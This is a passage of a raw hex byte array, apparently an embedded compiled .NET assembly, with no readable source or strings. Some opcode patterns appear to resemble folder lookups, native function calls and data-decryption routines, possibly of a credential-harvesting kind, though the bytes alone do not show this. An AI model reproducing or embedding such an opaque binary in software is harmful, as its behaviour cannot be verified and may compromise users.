0x08, 0x06, 0x13,\n\t0x05, 0x38, 0x88, 0x00, 0x00, 0x00, 0x16, 0x13, 0x07, 0x2B, 0x6E, 0x00,\n\t0x12, 0x08, 0xFE, 0x15, 0x11, 0x00, 0x00, 0x02, 0x12, 0x08, 0x09, 0x11,\n\t0x07, 0x1A, 0x6F, 0x23, 0x00, 0x00, 0x06, 0x28, 0x3B, 0x00, 0x00, 0x06,\n\t0x00, 0x12, 0x08, 0x09, 0x11, 0x07, 0x18, 0x6F, 0x23, 0x00, 0x00, 0x06,\n\t0x28, 0x3D, 0x00, 0x00, 0x06, 0x00, 0x12, 0x08, 0x09, 0x11, 0x07, 0x19,\n\t0x6F, 0x23, 0x00, 0x00, 0x06, 0x28, 0x45, 0x00, 0x00, 0x06, 0x00, 0x12,\n\t0x08, 0x09, 0x11, 0x07, 0x1B, 0x6F, 0x23, 0x00, 0x00, 0x06, 0x28, 0x3F,\n\t0x00, 0x00, 0x06, 0x00, 0x12, 0x08, 0x09, 0x11, 0x07, 0x1C, 0x6F, 0x23,\n\t0x00, 0x00, 0x06, 0x28, 0x41, 0x00, 0x00, 0x06, 0x00, 0x06, 0x11, 0x08,\n\t0x6F, 0x19, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x11, 0x07, 0x17, 0x58, 0x13,\n\t0x07, 0x11, 0x07, 0x09, 0x6F, 0x24, 0x00, 0x00, 0x06, 0xFE, 0x04, 0x13,\n\t0x09, 0x11, 0x09, 0x2D, 0x82, 0x06, 0x13, 0x05, 0x2B, 0x00, 0x11, 0x05,\n\t0x2A, 0x22, 0x02, 0x28, 0x17, 0x00, 0x00, 0x0A, 0x00, 0x2A, 0x00, 0x00,\n\t0x13, 0x30, 0x04, 0x00, 0xE0, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x11,\n\t0x00, 0x73, 0x1A, 0x00, 0x00, 0x0A, 0x0A, 0x02, 0x28, 0x1D, 0x00, 0x00,\n\t0x06, 0x0B, 0x07, 0x14, 0xFE, 0x01, 0x13, 0x04, 0x11, 0x04, 0x2C, 0x08,\n\t0x06, 0x13, 0x05, 0x38, 0xBD, 0x00, 0x00, 0x00, 0x07, 0x72, 0x01, 0x00,\n\t0x00, 0x70, 0x28, 0x13, 0x00, 0x00, 0x0A, 0x0C, 0x08, 0x72, 0x73, 0x00,\n\t0x00, 0x70, 0x28, 0x2C, 0x00, 0x00, 0x06, 0x0D, 0x09, 0x14, 0xFE, 0x01,\n\t0x13, 0x06, 0x11, 0x06, 0x2C, 0x08, 0x06, 0x13, 0x05, 0x38, 0x93, 0x00,\n\t0x00, 0x00, 0x16, 0x13, 0x07, 0x2B, 0x76, 0x00, 0x12, 0x08, 0xFE, 0x15,\n\t0x12, 0x00, 0x00, 0x02, 0x12, 0x08, 0x09, 0x11, 0x07, 0x17, 0x6F, 0x23,\n\t0x00, 0x00, 0x06, 0x28, 0x15, 0x00, 0x00, 0x06, 0x28, 0x49, 0x00, 0x00,\n\t0x06, 0x00, 0x12, 0x08, 0x09, 0x11, 0x07, 0x18, 0x6F, 0x23, 0x00, 0x00,\n\t0x06, 0x28, 0x15, 0x00, 0x00, 0x06, 0x28, 0x4B, 0x00, 0x00, 0x06, 0x00,\n\t0x12, 0x08, 0x09, 0x11, 0x07, 0x1A, 0x6F, 0x23, 0x00, 0x00, 0x06, 0x28,\n\t0x1B, 0x00, 0x00, 0x0A, 0x17, 0x58, 0x28, 0x4D, 0x00, 0x00, 0x06, 0x00,\n\t0x12, 0x08, 0x28, 0x4A, 0x00, 0x00, 0x06, 0x72, 0x39, 0x00, 0x00, 0x70,\n\t0x28, 0x15, 0x00, 0x00, 0x0A, 0x13, 0x09, 0x11, 0x09, 0x2C, 0x0B, 0x00,\n\t0x06, 0x11, 0x08, 0x6F, 0x1C, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x11,\n\t0x07, 0x17, 0x58, 0x13, 0x07, 0x11, 0x07, 0x09, 0x6F, 0x24, 0x00, 0x00,\n\t0x06, 0xFE, 0x04, 0x13, 0x0A, 0x11, 0x0A, 0x3A, 0x77, 0xFF, 0xFF, 0xFF,\n\t0x06, 0x13, 0x05, 0x2B, 0x00, 0x11, 0x05, 0x2A, 0x22, 0x02, 0x28, 0x17,\n\t0x00, 0x00, 0x0A, 0x00, 0x2A, 0x00, 0x00, 0x00, 0x1B, 0x30, 0x03, 0x00,\n\t0xB4, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x11, 0x00, 0x02, 0x73, 0x1D,\n\t0x00, 0x00, 0x0A, 0x6F, 0x1E, 0x00, 0x00, 0x0A, 0x0A, 0x7E, 0x02, 0x00,\n\t0x00, 0x04, 0x06, 0x28, 0x13, 0x00, 0x00, 0x0A, 0x0B, 0x07, 0x28, 0x1F,\n\t0x00, 0x00, 0x0A, 0x16, 0xFE, 0x01, 0x0C, 0x08, 0x2C, 0x07, 0x07, 0x28,\n\t0x20, 0x00, 0x00, 0x0A, 0x26, 0x00, 0x7E, 0x03, 0x00, 0x00, 0x04, 0x0D,\n\t0x16, 0x13, 0x04, 0x2B, 0x62, 0x09, 0x11, 0x04, 0x9A, 0x13, 0x05, 0x00,\n\t0x02, 0x11, 0x05, 0x28, 0x13, 0x00, 0x00, 0x0A, 0x13, 0x06, 0x11, 0x06,\n\t0x28, 0x21, 0x00, 0x00, 0x0A, 0x13, 0x07, 0x11, 0x07, 0x2C, 0x15, 0x11,\n\t0x06, 0x07, 0x11, 0x06, 0x28, 0x22, 0x00, 0x00, 0x0A, 0x28, 0x13, 0x00,\n\t0x00, 0x0A, 0x28, 0x23, 0x00, 0x00, 0x0A, 0x00, 0x00, 0xDE, 0x26, 0x13,\n\t0x08, 0x00, 0x72, 0x89, 0x00, 0x00, 0x70, 0x11, 0x08, 0x25, 0x2D, 0x04,\n\t0x26, 0x14, 0x2B, 0x05, 0x6F, 0x24, 0x00, 0x00, 0x0A, 0x28, 0x25, 0x00,\n\t0x00, 0x0A, 0x28, 0x26, 0x00, 0x00, 0x0A, 0x00, 0x14, 0x13, 0x09, 0xDE,\n\t0x1C, 0x11, 0x04, 0x17, 0x58, 0x13, 0x04, 0x11, 0x04, 0x09, 0x8E, 0x69,\n\t0x32, 0x97, 0x7E, 0x02, 0x00, 0x00, 0x04, 0x06, 0x28, 0x13, 0x00, 0x00,\n\t0x0A, 0x13, 0x09, 0x2B, 0x00, 0x11, 0x09, 0x2A, 0x01, 0x10, 0x00, 0x00,\n\t0x00, 0x00, 0x3F, 0x00, 0x30, 0x6F, 0x00, 0x26, 0x12, 0x00, 0x00, 0x01,\n\t0x13, 0x30, 0x05, 0x00, 0x82, 0x01, 0x00, 0x00, 0x05, 0x00, 0x00, 0x11,\n\t0x00, 0x73, 0x27, 0x00, 0x00, 0x0A, 0x0A, 0x02, 0x28, 0x1D, 0x00, 0x00,\n\t0x06, 0x0B, 0x07, 0x14, 0xFE, 0x01, 0x13, 0x08, 0x11, 0x08, 0x2C, 0x08,\n\t0x06, 0x13, 0x09, 0x38, 0x5F, 0x01, 0x00, 0x00, 0x28, 0x1E, 0x00, 0x00,\n\t0x06, 0x0C, 0x08, 0x14, 0xFE, 0x01, 0x13, 0x0A, 0x11, 0x0A, 0x2C, 0x08,\n\t0x06, 0x13, 0x09, 0x38, 0x47, 0x01, 0x00, 0x00, 0x07, 0x28, 0x07, 0x00,\n\t0x00, 0x06, 0x0D, 0x09, 0x14, 0xFE, 0x01, 0x13, 0x0B, 0x11, 0x0B, 0x2C,\n\t0x08, 0x06, 0x13, 0x09, 0x38, 0x2E, 0x01, 0x00, 0x00, 0x09, 0x72, 0xDF,\n\t0x00, 0x00, 0x70, 0x28, 0x13, 0x00, 0x00, 0x0A, 0x13, 0x04, 0x11, 0x04,\n\t0x28, 0x28, 0x00, 0x00, 0x0A, 0x13, 0x05, 0x11, 0x05, 0x73, 0x16, 0x00,\n\t0x00, 0x06, 0x13, 0x06, 0x11, 0x06, 0x18, 0x8D, 0x20, 0x00, 0x00, 0x01,\n\t0x25, 0x16, 0x72, 0xF7, 0x00, 0x00, 0x70, 0xA2, 0x25, 0x17, 0x72, 0x11,\n\t0x01, 0x00, 0x70, 0xA2, 0x6F, 0x18, 0x00, 0x00, 0x06, 0x00, 0x11, 0x06,\n\t0x72, 0x55, 0x01, 0x00, 0x70, 0x6F, 0x19, 0x00, 0x00, 0x06, 0x13, 0x07,\n\t0x08, 0x28, 0x11, 0x00, 0x00, 0x06, 0x13, 0x0C, 0x11, 0x0C, 0x39, 0xC7,\n\t0x00, 0x00, 0x00, 0x00, 0x09, 0x28, 0x13, 0x00, 0x00, 0x06, 0x16, 0xFE,\n\t0x01, 0x13, 0x0D, 0x11, 0x0D, 0x2C, 0x0B, 0x72, 0x5B, 0x01, 0x00, 0x70,\n\t0x28, 0x26, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x11, 0x07, 0x13, 0x0E, 0x16,\n\t0x13, 0x0F, 0x38, 0x8D, 0x00, 0x00, 0x00, 0x11, 0x0E, 0x11, 0x0F, 0x9A,\n\t0x13, 0x10, 0x00, 0x12, 0x11, 0xFE, 0x15, 0x10, 0x00, 0x00, 0x02, 0x11,\n\t0x10, 0x73, 0x16, 0x00, 0x00, 0x06, 0x13, 0x12, 0x11, 0x12, 0x72, 0x89,\n\t0x01, 0x00, 0x70, 0x6F, 0x17, 0x00, 0x00, 0x06, 0x13, 0x13, 0x11, 0x12,\n\t0x72, 0x9B, 0x01, 0x00, 0x70, 0x6F, 0x17, 0x00, 0x00, 0x06, 0x13, 0x14,\n\t0x11, 0x12, 0x72, 0xBF, 0x01, 0x00, 0x70, 0x6F, 0x17, 0x00, 0x00, 0x06,\n\t0x13, 0x15, 0x11, 0x15, 0x28, 0x29, 0x00, 0x00, 0x0A, 0x16, 0xFE, 0x01,\n\t0x13, 0x16, 0x11, 0x16, 0x2C, 0x33, 0x00, 0x12, 0x11, 0x11, 0x13, 0x28,\n\t0x35, 0x00, 0x00, 0x06, 0x00, 0x12, 0x11, 0x11, 0x14, 0x28, 0x14, 0x00,\n\t0x00, 0x06, 0x28, 0x37, 0x00, 0x00, 0x06, 0x00, 0x12, 0x11, 0x11, 0x15,\n\t0x28, 0x14, 0x00, 0x00, 0x06, 0x28, 0x39, 0x00, 0x00, 0x06, 0x00, 0x06,\n\t0x11, 0x11, 0x6F, 0x2A, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x11, 0x0F,\n\t0x17, 0x58, 0x13, 0x0F, 0x11, 0x0F, 0x11, 0x0E, 0x8E, 0x69, 0x3F, 0x68,\n\t0xFF, 0xFF, 0xFF, 0x28, 0x12, 0x00, 0x00, 0x06, 0x00, 0x00, 0x09, 0x17,\n\t0x28, 0x2B, 0x00, 0x00, 0x0A, 0x00, 0x06, 0x13, 0x09, 0x2B, 0x00, 0x11,\n\t0x09, 0x2A, 0x22, 0x02, 0x28, 0x17, 0x00, 0x00, 0x0A, 0x00, 0x2A, 0x00,\n\t0x13, 0x30, 0x04, 0x00, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x1F, 0x25, 0x28, 0x2C, 0x00, 0x00, 0x0A, 0x28, 0x2D, 0x00, 0x00, 0x0A,\n\t0x80, 0x01, 0x00, 0x00, 0x04, 0x7E, 0x01, 0x00, 0x00, 0x04, 0x72, 0xE3,\n\t0x01, 0x00, 0x70, 0x28, 0x13, 0x00, 0x00, 0x0A, 0x80, 0x02, 0x00, 0x00,\n\t0x04, 0x1A, 0x8D, 0x20, 0x00, 0x00, 0x01, 0x25, 0x16, 0x72, 0xFD, 0x01,\n\t0x00, 0x70, 0xA2, 0x25, 0x17, 0x72, 0x0D, 0x02, 0x00, 0x70, 0xA2, 0x25,\n\t0x18, 0x72, 0xDF, 0x00, 0x00, 0x70, 0xA2, 0x25, 0x19, 0x72, 0x1D, 0x02,\n\t0x00, 0x70, 0xA2, 0x80, 0x03, 0x00, 0x00, 0x04, 0x2A, 0x22, 0x02, 0x28,\n\t0x17, 0x00, 0x00, 0x0A, 0x00, 0x2A, 0x22, 0x02, 0x28, 0x17, 0x00, 0x00,\n\t0x0A, 0x00, 0x2A, 0x22, 0x02, 0x28, 0x17, 0x00, 0x00, 0x0A, 0x00, 0x2A,\n\t0x1B, 0x30, 0x03, 0x00, 0xD5, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x11,\n\t0x00, 0x00, 0x02, 0x72, 0x2F, 0x02, 0x00, 0x70, 0x28, 0x25, 0x00, 0x00,\n\t0x0A, 0x28, 0x0C, 0x00, 0x00, 0x06, 0x80, 0x05, 0x00, 0x00, 0x04, 0x02,\n\t0x72, 0x49, 0x02, 0x00, 0x70, 0x28, 0x25, 0x00, 0x00, 0x0A, 0x28, 0x0C,\n\t0x00, 0x00, 0x06, 0x80, 0x04, 0x00, 0x00, 0x04, 0x7E, 0x04, 0x00, 0x00,\n\t0x04, 0x72, 0x5D, 0x02, 0x00, 0x70, 0x28, 0x0E, 0x00, 0x00, 0x06, 0x0A,\n\t0x7E, 0x04, 0x00, 0x00, 0x04, 0x72, 0x6F, 0x02, 0x00, 0x70, 0x28, 0x0E,\n\t0x00, 0x00, 0x06, 0x0B, 0x7E, 0x04, 0x00, 0x00, 0x04, 0x72, 0x8F, 0x02,\n\t0x00, 0x70, 0x28, 0x0E, 0x00, 0x00, 0x06, 0x0C, 0x06, 0xD0, 0x15, 0x00,\n\t0x00, 0x02, 0x28, 0x2E, 0x00, 0x00, 0x0A, 0x28, 0x2F, 0x00, 0x00, 0x0A,\n\t0x74, 0x15, 0x00, 0x00, 0x02, 0x80, 0x06, 0x00, 0x00, 0x04, 0x07, 0xD0,\n\t0x17, 0x00, 0x00, 0x02, 0x28, 0x2E, 0x00, 0x00, 0x0A, 0x28, 0x2F, 0x00,\n\t0x00, 0x0A, 0x74, 0x17, 0x00, 0x00, 0x02, 0x80, 0x07, 0x00, 0x00, 0x04,\n\t0x08, 0xD0, 0x16, 0x00, 0x00, 0x02, 0x28, 0x2E, 0x00, 0x00, 0x0A, 0x28,\n\t0x2F, 0x00, 0x00, 0x0A, 0x74, 0x16, 0x00, 0x00, 0x02, 0x80, 0x08, 0x00,\n\t0x00, 0x04, 0x17, 0x0D, 0xDE, 0x25, 0x13, 0x04, 0x00, 0x72, 0xA9, 0x02,\n\t0x00, 0x70, 0x11, 0x04, 0x25, 0x2D, 0x04, 0x26, 0x14, 0x2B, 0x05, 0x6F,\n\t0x24, 0x00, 0x00, 0x0A, 0x28, 0x25, 0x00, 0x00, 0x0A, 0x28, 0x30, 0x00,\n\t0x00, 0x0A, 0x26, 0x16, 0x0D, 0xDE, 0x00, 0x09, 0x2A, 0x00, 0x00, 0x00,\n\t0x01, 0x10, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0xAD, 0xAE, 0x00, 0x25,\n\t0x12, 0x00, 0x00, 0x01, 0x8E, 0x00, 0x7E, 0x08, 0x00, 0x00, 0x04, 0x6F,\n\t0x57, 0x00, 0x00, 0x06, 0x26, 0x7E, 0x04, 0x00, 0x00, 0x04, 0x28, 0x0D,\n\t0x00, 0x00, 0x06, 0x26, 0x7E, 0x05, 0x00, 0x00, 0x04, 0x28, 0x0D, 0x00,\n\t0x00, 0x06, 0x26, 0x2A, 0x13, 0x30, 0x02, 0x00, 0x15, 0x00, 0x00, 0x00,\n\t0x07, 0x00, 0x00, 0x11, 0x00, 0x7E, 0x06, 0x00, 0x00, 0x04, 0x02, 0x6F,\n\t0x53, 0x00, 0x00, 0x06, 0x16, 0x6A, 0xFE, 0x01, 0x0A, 0x2B, 0x00, 0x06,\n\t0x2A, 0x00, 0x00, 0x00, 0x1B, 0x30, 0x04, 0x00, 0xE2, 0x00, 0x00, 0x00,\n\t0x08, 0x00, 0x00, 0x11, 0x00, 0x7E, 0x31, 0x00, 0x00, 0x0A, 0x0A, 0x00,\n\t0x02, 0x28, 0x32, 0x00, 0x00, 0x0A, 0x0B, 0x07, 0x8E, 0x69, 0x28, 0x33,\n\t0x00, 0x00, 0x0A, 0x0A, 0x07, 0x16, 0x06, 0x07, 0x8E, 0x69, 0x28, 0x34,\n\t0x00, 0x00, 0x0A, 0x00, 0x12, 0x02, 0xFE, 0x15, 0x14, 0x00, 0x00, 0x02,\n\t0x12, 0x03, 0xFE, 0x15, 0x14, 0x00, 0x00, 0x02, 0x12, 0x03, 0x16, 0x7D,\n\t0x23, 0x00, 0x00, 0x04, 0x12, 0x03, 0x06, 0x7D, 0x24, 0x00, 0x00, 0x04,\n\t0x12, 0x03, 0x07, 0x8E, 0x69, 0x7D, 0x25, 0x00, 0x00, 0x04, 0x7E, 0x07,\n\t0x00, 0x00, 0x04, 0x12, 0x03, 0x12, 0x02, 0x16, 0x6F, 0x5B, 0x00, 0x00,\n\t0x06, 0x16, 0xFE, 0x01, 0x13, 0x04, 0x11, 0x04, 0x2C, 0x44, 0x00, 0x08,\n\t0x7B, 0x25, 0x00, 0x00, 0x04, 0x16, 0xFE, 0x03, 0x13, 0x05, 0x11, 0x05,\n\t0x2C, 0x33, 0x00, 0x08, 0x7B, 0x25, 0x00, 0x00, 0x04, 0x8D, 0x30, 0x00,\n\t0x00, 0x01, 0x13, 0x06, 0x08, 0x7B, 0x24, 0x00, 0x00, 0x04, 0x11, 0x06,\n\t0x16, 0x08, 0x7B, 0x25, 0x00, 0x00, 0x04, 0x28, 0x35, 0x00, 0x00, 0x0A,\n\t0x00, 0x28, 0x36, 0x00, 0x00, 0x0A, 0x11, 0x06, 0x6F, 0x37, 0x00, 0x00,\n\t0x0A, 0x13, 0x07, 0xDE, 0x36, 0x00, 0x00, 0xDE, 0x10, 0x13, 0x08, 0x00,\n\t0x11, 0x08, 0x28, 0x38, 0x00, 0x00, 0x0A, 0x00, 0x14, 0x13, 0x07, 0xDE,\n\t0x22, 0xDE, 0x1B, 0x00, 0x06, 0x7E, 0x31, 0x00, 0x00, 0x0A, 0x28, 0x39,\n\t0x00, 0x00, 0x0A, 0x13, 0x09, 0x11, 0x09, 0x2C, 0x07, 0x06, 0x28, 0x3A,\n\t0x00, 0x00, 0x0A, 0x00, 0x00, 0xDC, 0x14, 0x13, 0x07, 0x2B, 0x00, 0x11,\n\t0x07, 0x2A, 0x00, 0x00, 0x01, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00,\n\t0xA6, 0xAD, 0x00, 0x10, 0x12, 0x00, 0x00, 0x01, 0x02, 0x00, 0x07, 0x00,\n\t0xB8, 0xBF, 0x00, 0x1B, 0x00, 0x00, 0x00, 0x00, 0x1B, 0x30, 0x02, 0x00,\n\t0x24, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x11, 0x00, 0x00, 0x28, 0x3B,\n\t0x00, 0x00, 0x0A, 0x02, 0x6F, 0x3C, 0x00, 0x00, 0x0A, 0x0A, 0x28, 0x36,\n\t0x00, 0x00, 0x0A, 0x06, 0x6F, 0x37, 0x00, 0x00, 0x0A, 0x0B, 0xDE, 0x06,\n\t0x26, 0x00, 0x02, 0x0B, 0xDE, 0x00, 0x07, 0x2A, 0x01, 0x10, 0x00, 0x00,\n\t0x00, 0x00, 0x01, 0x00, 0x1B, 0x1C, 0x00, 0x06, 0x10, 0x00, 0x00, 0x01,\n\t0x42, 0x02, 0x28, 0x17, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x02, 0x03, 0x7D,\n\t0x09, 0x00, 0x00, 0x04, 0x2A, 0x00, 0x00, 0x00, 0x13, 0x30, 0x03, 0x00,\n\t0x57, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x11, 0x00, 0x7E, 0x3D, 0x00,\n\t0x00, 0x0A, 0x0A, 0x72, 0xD1, 0x02, 0x00, 0x70, 0x03, 0x72, 0xD5, 0x02,\n\t0x00, 0x70, 0x28, 0x3E, 0x00, 0x00, 0x0A, 0x73, 0x3F, 0x00, 0x00, 0x0A,\n\t0x0B, 0x07, 0x02, 0x7B, 0x09, 0x00, 0x00, 0x04, 0x6F, 0x40, 0x00, 0x00,\n\t0x0A, 0x0C, 0x08, 0x6F, 0x41, 0x00, 0x00, 0x0A, 0x16, 0xFE, 0x01, 0x0D,\n\t0x09, 0x2C, 0x05, 0x06, 0x13, 0x04, 0x2B, 0x18, 0x08, 0x6F, 0x42, 0x00,\n\t0x00, 0x0A, 0x72, 0xD1, 0x02, 0x00, 0x70, 0x28, 0x43, 0x00, 0x00, 0x0A,\n\t0x19, 0x9A, 0x0A, 0x06, 0x13, 0x04, 0x2B, 0x00, 0x11, 0x04, 0x2A, 0x00,\n\t0x13, 0x30, 0x04, 0x00, 0x2E, 0x00, 0x00, 0x00, 0x0B, 0x00, 0x00, 0x11,\n\t0x00, 0x00, 0x03, 0x0A, 0x16, 0x0B, 0x2B, 0x1F, 0x06, 0x07, 0x9A, 0x0C,\n\t0x02, 0x02, 0x7B, 0x09, 0x00, 0x00, 0x04, 0x08, 0x72, 0xED, 0x02, 0x00,\n\t0x70, 0x6F, 0x44, 0x00, 0x00, 0x0A, 0x7D, 0x09, 0x00, 0x00, 0x04, 0x07,\n\t0x17, 0x58, 0x0B, 0x07, 0x06, 0x8E, 0x69, 0x32, 0xDB, 0x2A, 0x00, 0x00,\n\t0x13, 0x30, 0x02, 0x00, 0x12, 0x00, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x11,\n\t0x00, 0x02, 0x7B, 0x09, 0x00, 0x00, 0x04, 0x03, 0x28, 0x43, 0x00, 0x00,\n\t0x0A, 0x0A, 0x2B, 0x00, 0x06, 0x2A, 0x00, 0x00, 0x13, 0x30, 0x02, 0x00,\n\t0x3F, 0x00, 0x00, 0x00, 0x0D, 0x00, 0x00, 0x11, 0x00, 0x1E, 0x28, 0x45,\n\t0x00, 0x00, 0x0A, 0x2E, 0x14, 0x72, 0xEF, 0x02, 0x00, 0x70, 0x28, 0x46,\n\t0x00, 0x00, 0x0A, 0x28, 0x29, 0x00, 0x00, 0x0A, 0x16, 0xFE, 0x01, 0x2B,\n\t0x01, 0x17, 0x0A, 0x06, 0x2C, 0x0E, 0x00, 0x72, 0x1D, 0x03, 0x00, 0x70,\n\t0x28, 0x46, 0x00, 0x00, 0x0A, 0x0B, 0x2B, 0x0D, 0x72, 0x41, 0x03, 0x00,\n\t0x70, 0x28, 0x46, 0x00, 0x00, 0x0A, 0x0B, 0x2B, 0x00, 0x07, 0x2A, 0x00,\n\t0x13, 0x30, 0x05, 0x00, 0x4D, 0x00, 0x00, 0x00, 0x0E, 0x00, 0x00, 0x11,\n\t0x00, 0x02, 0x14, 0xFE, 0x01, 0x0B, 0x07, 0x2C, 0x0B, 0x72, 0x5B, 0x03,\n\t0x00, 0x70, 0x73, 0x47, 0x00, 0x00, 0x0A, 0x7A, 0x03, 0x14, 0xFE, 0x01,\n\t0x0C, 0x08, 0x2C, 0x0B, 0x72, 0x5F, 0x03, 0x00, 0x70, 0x73, 0x47, 0x00,\n\t0x00, 0x0A, 0x7A, 0x02, 0x8E, 0x69, 0x0A, 0x0F, 0x00, 0x02, 0x8E, 0x69,\n\t0x03, 0x8E, 0x69, 0x58, 0x28, 0x01, 0x00, 0x00, 0x2B, 0x00, 0x03, 0x16,\n\t0x02, 0x06, 0x03, 0x8E, 0x69, 0x28, 0x49, 0x00, 0x00, 0x0A, 0x00, 0x02,\n\t0x0D, 0x2B, 0x00, 0x09, 0x2A, 0x00, 0x00, 0x00, 0x13, 0x30, 0x02, 0x00,\n\t0x50, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x00, 0x11, 0x00, 0x72, 0x41, 0x03,\n\t0x00, 0x70, 0x28, 0x46, 0x00, 0x00, 0x0A, 0x28, 0x4A, 0x00, 0x00, 0x0A,\n\t0x0A, 0x1E, 0x28, 0x45, 0x00, 0x00, 0x0A, 0x2E, 0x14, 0x72, 0xEF, 0x02,\n\t0x00, 0x70, 0x28, 0x46, 0x00, 0x00, 0x0A, 0x28, 0x29, 0x00, 0x00, 0x0A,\n\t0x16, 0xFE, 0x01, 0x2B, 0x01, 0x17, 0x0B, 0x07, 0x2C, 0x18, 0x00, 0x06,\n\t0x72, 0x1D, 0x03, 0x00, 0x70, 0x28, 0x46, 0x00, 0x00, 0x0A, 0x28, 0x4A,\n\t0x00, 0x00, 0x0A, 0x28, 0x1B, 0x00, 0x00, 0x06, 0x0A, 0x00, 0x06, 0x0C,\n\t0x2B, 0x00, 0x08, 0x2A, 0x1B, 0x30, 0x03, 0x00, 0xA8, 0x00, 0x00, 0x00,\n\t0x10, 0x00, 0x00, 0x11, 0x00, 0x00, 0x02, 0x72, 0x63, 0x03, 0x00, 0x70,\n\t0x28, 0x13, 0x00, 0x00, 0x0A, 0x0A, 0x06, 0x28, 0x1F, 0x00, 0x00, 0x0A,\n\t0x0B, 0x07, 0x2C, 0x61, 0x00, 0x06, 0x28, 0x4A, 0x00, 0x00, 0x0A, 0x0C,\n\t0x16, 0x0D, 0x2B, 0x4F, 0x08, 0x09, 0x9A, 0x13, 0x04, 0x11, 0x04, 0x72,\n\t0x75, 0x03, 0x00, 0x70, 0x28, 0x25, 0x00, 0x00, 0x0A, 0x28, 0x21, 0x00,\n\t0x00, 0x0A, 0x2D, 0x26, 0x11, 0x04, 0x72, 0x8F, 0x03, 0x00, 0x70, 0x28,\n\t0x25, 0x00, 0x00, 0x0A, 0x28, 0x21, 0x00, 0x00, 0x0A, 0x2D, 0x13, 0x11,\n\t0x04, 0x72, 0xA1, 0x03, 0x00, 0x70, 0x28, 0x25, 0x00, 0x00, 0x0A, 0x28,\n\t0x21, 0x00, 0x00, 0x0A, 0x2B, 0x01, 0x17, 0x13, 0x05, 0x11, 0x05, 0x2C,\n\t0x06, 0x11, 0x04, 0x13, 0x06, 0xDE, 0x36, 0x09, 0x17, 0x58, 0x0D, 0x09,\n\t0x08, 0x8E, 0x69, 0x32, 0xAB, 0x00, 0xDE, 0x24, 0x13, 0x07, 0x00, 0x72,\n\t0xBF, 0x03, 0x00, 0x70, 0x11, 0x07, 0x25, 0x2D, 0x04, 0x26, 0x14, 0x2B,\n\t0x05, 0x6F, 0x24, 0x00, 0x00, 0x0A, 0x28, 0x25, 0x00, 0x00, 0x0A, 0x28,\n\t0x26, 0x00, 0x00, 0x0A, 0x00, 0x00, 0xDE, 0x00, 0x14, 0x13, 0x06, 0x2B,\n\t0x00, 0x11, 0x06, 0x2A, 0x01, 0x10, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00,\n\t0x7B, 0x7C, 0x00, 0x24, 0x12, 0x00, 0x00, 0x01, 0x13, 0x30, 0x02, 0x00,\n\t0x52, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x11, 0x00, 0x00, 0x28, 0x1C,\n\t0x00, 0x00, 0x06, 0x0A, 0x16, 0x0B, 0x2B, 0x38, 0x06, 0x07, 0x9A, 0x0C,\n\t0x00, 0x08, 0x72, 0x49, 0x02, 0x00, 0x70, 0x28, 0x25, 0x00, 0x00, 0x0A,\n\t0x28, 0x21, 0x00, 0x00, 0x0A, 0x2C, 0x12, 0x08, 0x72, 0x2F, 0x02, 0x00,\n\t0x70, 0x28, 0x25, 0x00, 0x00, 0x0A, 0x28, 0x21, 0x00, 0x00, 0x0A, 0x2B,\n\t0x01, 0x16, 0x0D, 0x09, 0x2C, 0x05, 0x08, 0x13, 0x04, 0x2B, 0x10, 0x00,\n\t0x07, 0x17, 0x58, 0x0B, 0x07, 0x06, 0x8E, 0x69, 0x32, 0xC2, 0x14, 0x13,\n\t0x04, 0x2B, 0x00, 0x11, 0x04, 0x2A, 0x00, 0x00, 0x13, 0x30, 0x02, 0x00,\n\t0x54, 0x00, 0x00, 0x00, 0x12, 0x00, 0x00, 0x11, 0x00, 0x73, 0x4B, 0x00,\n\t0x00, 0x0A, 0x0A, 0x00, 0x7E, 0x0B, 0x00, 0x00, 0x04, 0x0B, 0x16, 0x0C,\n\t0x2B, 0x2F, 0x07, 0x08, 0x9A, 0x0D, 0x00, 0x7E, 0x0A, 0x00, 0x00, 0x04,\n\t0x09, 0x28, 0x13, 0x00, 0x00, 0x0A, 0x13, 0x04, 0x11, 0x04, 0x28, 0x1F,\n\t0x00, 0x00, 0x0A, 0x13, 0x05, 0x11, 0x05, 0x2C, 0x0B, 0x00, 0x06, 0x11,\n\t0x04, 0x6F, 0x4C, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x08, 0x17, 0x58,\n\t0x0C, 0x08, 0x07, 0x8E, 0x69, 0x32, 0xCB, 0x06, 0x6F, 0x4D, 0x00, 0x00,\n\t0x0A, 0x13, 0x06, 0x2B, 0x00, 0x11, 0x06, 0x2A, 0x22, 0x02, 0x28, 0x17,\n\t0x00, 0x00, 0x0A, 0x00, 0x2A, 0x00, 0x00, 0x00, 0x13, 0x30, 0x04, 0x00,\n\t0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0x1A, 0x28, 0x2C,\n\t0x00, 0x00, 0x0A, 0x80, 0x0A, 0x00, 0x00, 0x04, 0x1E, 0x8D, 0x20, 0x00,\n\t0x00, 0x01, 0x25, 0x16, 0x72, 0xEF, 0x03, 0x00, 0x70, 0xA2, 0x25, 0x17,\n\t0x72, 0x0F, 0x04, 0x00, 0x70, 0xA2, 0x25, 0x18, 0x72, 0x21, 0x04, 0x00,\n\t0x70, 0xA2, 0x25, 0x19, 0x72, 0x33, 0x04, 0x00, 0x70, 0xA2, 0x25, 0x1A,\n\t0x72, 0x4B, 0x04, 0x00, 0x70, 0xA2, 0x25, 0x1B, 0x72, 0x6D, 0x04, 0x00,\n\t0x70, 0xA2, 0x25, 0x1C, 0x72, 0x99, 